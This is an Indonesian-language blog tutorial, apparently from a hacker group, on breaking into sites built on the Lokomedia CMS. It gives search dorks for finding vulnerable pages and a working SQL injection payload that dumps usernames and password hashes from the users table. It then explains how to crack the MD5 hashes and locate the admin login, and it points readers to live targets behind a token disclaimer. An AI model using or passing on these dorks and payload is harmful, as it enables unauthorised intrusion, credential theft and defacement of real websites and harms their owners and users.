Tutorial SQL Lokomedia

 Hello Mates 🍻 !!!!

By : Mr.KLA

SOLID SOLID TAI ANJING PAS GW TURUN LU PADA KEMANA SEKARANG👊!!!

 

Welcome Back Mates ! Kali ini gw akan memberi tutorial SQL Lokomedia. Cara ini lumayan mudah dilakukan, karena cara ini hampir mirip dengan SQL Injection Manual. Tapi Gw heran cuk POC ini padahal sangat ampuh tapi kok jarang digunakan. So? Langsung Terobos Ajalah Anjeng.

TINDAKAN YANG DILUAR AJARAN SEPERTI MERUGIKAN WEB TERSEBUT DENGAN CARA MENDEFACE ATAU SEJENEISNYA KAMI TIDAK BERTANGGUNG JAWAB. KARENA INI HANYA SEBAGAI PEMBELAJARAN !!!

Bahan : 

1. Dork : 

- Inurl:/statis-1-profil.html

- Inurl:/statis-2-profil.html

- Inurl:/statis-3-profil.html 

Selebihnya kembangin pakek Otak SOLID kalian

2. Siapin nih Tools MD5 yang Decrypt ya tod atau engga pencet gw tod 

3. Xploit : 'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+-profil.html

Langakah - Langkah : 

1. Dorking manja dulu pake yang diatas tadi -_ atau ngga pake live target gw -_ Pencet Sini Tod -_ 

 

 

2. Masukin Xploitnya setelah angka 1 contoh :

 www.kntl.com/statis-1'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+-profil.html

 

3.Setelah itu lihat Tab nya Ingat Tab nya ! bukan kolom pencariannya tod kek ada tulisan <li> nah itu adalah pasword dan username nya .

 

4. Untuk lebih jelas melihat username dan pasword nya silahkan pencet CTR+U (pc) atau View Source (android/pc). Kemudia lihat dibagian Title. Nah disitu terlihat berbagai macam username dan pasword nya. (ingat disetiap web berbeda ya tod ! ). Untuk username nya sudah keliatan tuh, kalau paswordnya masih berbentuk angka dan perlu kita crack.

5. Kita pergi ke MD5 nya udh gw siapin link nya diatas mampus :v . Lalu salin nomer nya. kemudian tempel di MD5 decrypt nya lalu klik decyript. Tunggu beberapa saat 

6. Nah terlihat kan Passwordnya. Contoh passwordnya di gw yaitu : orientasi2018

7. Setelah itu silahkan cari admin loginnya entah itu mengguakan Tools admin finder atau

www.targetlu.com/admin

www.targetlu.com/administrator

Jika anda melakukan hal yang diluar Tutorial ini KAMI TIDAK BERTANGGUNG JAWAB

 Sekian Tutorial Dari saya SEE YOU NEXT TIME ALL

Thanks To : 

1. Angels Cyber Moon

2. X-SPYPOISON COMMUNITY

3. Indoesian Security Network

4. Clown Security Team

5. Malang Xploit Cyber 

6 . And You :) 

Bagikan Artikel ini